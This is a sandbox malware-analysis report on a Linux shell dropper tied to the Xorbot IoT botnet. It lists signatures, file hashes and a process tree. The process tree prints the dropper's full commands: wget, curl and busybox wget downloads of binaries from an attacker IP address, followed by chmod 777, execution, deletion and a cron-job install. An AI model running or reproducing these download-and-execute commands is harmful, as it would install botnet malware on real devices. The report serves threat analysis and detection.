Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-12-2024 13:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3edce6c590ad87ba627b4ce0f9ab1a02

  • SHA1

    a47f28477a3b672132deb0af3e3cd214f020bb04

  • SHA256

    ed5138a5800c6bedfbcd9e9a46d11323dcc2696d92bd42f1d99c46d7bf07f4bd

  • SHA512

    b8687eeb804b48d6a1aa0726cdedd9aabda86144e5c111b2ffcabc6f4a795d17bdb5b9c4dc55072094f4e5d6c7385b6b74693b5bed914677adce9ca8aad51701

  • SSDEEP

    96:r3/beW4YNrxvuy6DTKJGJGJsJXJzw/O28PMewJGJGJsJXJzhSlD942KP4De/7uy8:r3/bd4YNtvuy6DTt1E1Ouy6DT6/bd4Y4

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1895) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://216.126.231.240/bins/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
          • Writes file to tmp directory
          PID:656
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:670
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
          • Writes file to tmp directory
          PID:678
        • /bin/chmod
          chmod 777 9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
          • File and Directory Permissions Modification
          PID:679
        • /tmp/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          ./9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
          • Executes dropped EXE
          PID:681
        • /bin/rm
          rm 9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://216.126.231.240/bins/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
            • Writes file to tmp directory
            PID:684
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:685
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
            • Writes file to tmp directory
            PID:686
          • /bin/chmod
            chmod 777 OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
            • File and Directory Permissions Modification
            PID:689
          • /tmp/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            ./OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
            • Executes dropped EXE
            PID:691
          • /bin/rm
            rm OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
              PID:693
            • /usr/bin/wget
              wget http://216.126.231.240/bins/jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
              • Writes file to tmp directory
              PID:695
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:704
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
              • Writes file to tmp directory
              PID:711
            • /bin/chmod
              chmod 777 jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
              • File and Directory Permissions Modification
              PID:714
            • /tmp/jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              ./jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:716
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:718
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:719
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:721
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:722
                  • /bin/rm
                    rm jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
                    2⤵
                      PID:726
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                      2⤵
                        PID:729
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                        2⤵
                          PID:732
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                          2⤵
                          • Writes file to tmp directory
                          PID:816
                        • /bin/chmod
                          chmod 777 BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                          2⤵
                          • File and Directory Permissions Modification
                          PID:830
                        • /tmp/BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                          ./BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                          2⤵
                          • Executes dropped EXE
                          PID:832
                        • /bin/rm
                          rm BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                          2⤵
                            PID:833
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                            2⤵
                              PID:834
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                              2⤵
                                PID:835
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                                2⤵
                                • Writes file to tmp directory
                                PID:837
                              • /bin/chmod
                                chmod 777 PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                                2⤵
                                • File and Directory Permissions Modification
                                PID:843
                              • /tmp/PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                                ./PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                                2⤵
                                • Executes dropped EXE
                                PID:844
                              • /bin/rm
                                rm PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                                2⤵
                                  PID:846
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/aqq50sVuaakSXTz0WBjVIiIU6E3gpAgudN
                                  2⤵
                                    PID:847
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/aqq50sVuaakSXTz0WBjVIiIU6E3gpAgudN
                                    2⤵
                                      PID:849
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/aqq50sVuaakSXTz0WBjVIiIU6E3gpAgudN
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:851
                                    • /bin/chmod
                                      chmod 777 aqq50sVuaakSXTz0WBjVIiIU6E3gpAgudN
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:855
                                    • /tmp/aqq50sVuaakSXTz0WBjVIiIU6E3gpAgudN
                                      ./aqq50sVuaakSXTz0WBjVIiIU6E3gpAgudN
                                      2⤵
                                      • Executes dropped EXE
                                      PID:856
                                    • /bin/rm
                                      rm aqq50sVuaakSXTz0WBjVIiIU6E3gpAgudN
                                      2⤵
                                        PID:859
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/KKzMrtO91bD1EFQAnWwzTd8QyoQ1ORPg6S
                                        2⤵
                                          PID:860

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO

                                        Filesize

                                        112KB

                                        MD5

                                        05d7857dcead18bbd86d2935f591873c

                                        SHA1

                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                        SHA256

                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                        SHA512

                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                      • /tmp/BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE

                                        Filesize

                                        127KB

                                        MD5

                                        89077b7bd4bcafca7713be43635c4862

                                        SHA1

                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                        SHA256

                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                        SHA512

                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                      • /tmp/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0

                                        Filesize

                                        99KB

                                        MD5

                                        9438d9bc392bcf300a5583b6df5bc8f6

                                        SHA1

                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                        SHA256

                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                        SHA512

                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                      • /tmp/PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp

                                        Filesize

                                        151KB

                                        MD5

                                        6c583043d91c55aa470c08c87058e917

                                        SHA1

                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                        SHA256

                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                        SHA512

                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                      • /tmp/aqq50sVuaakSXTz0WBjVIiIU6E3gpAgudN

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /tmp/jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn

                                        Filesize

                                        119KB

                                        MD5

                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                        SHA1

                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                        SHA256

                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                        SHA512

                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                      • /var/spool/cron/crontabs/tmp.wT0ewR

                                        Filesize

                                        210B

                                        MD5

                                        7b5c6173423bf2fe77c73fdf635d5c68

                                        SHA1

                                        f6854d8602bb44bcbbda854449e1b27fa2e68a26

                                        SHA256

                                        60fc80b38bf1d5d995684381f55a45bc201a4613562ee9f5a696571ac1cf7a4b

                                        SHA512

                                        465de51298e6d77e8ec9a1adf568a0c8385b111e6377e5120952c721bee24f43836c5e6812acae0cace928499a2a145d85bfa3fb4ba684ad16e8b102f92be50a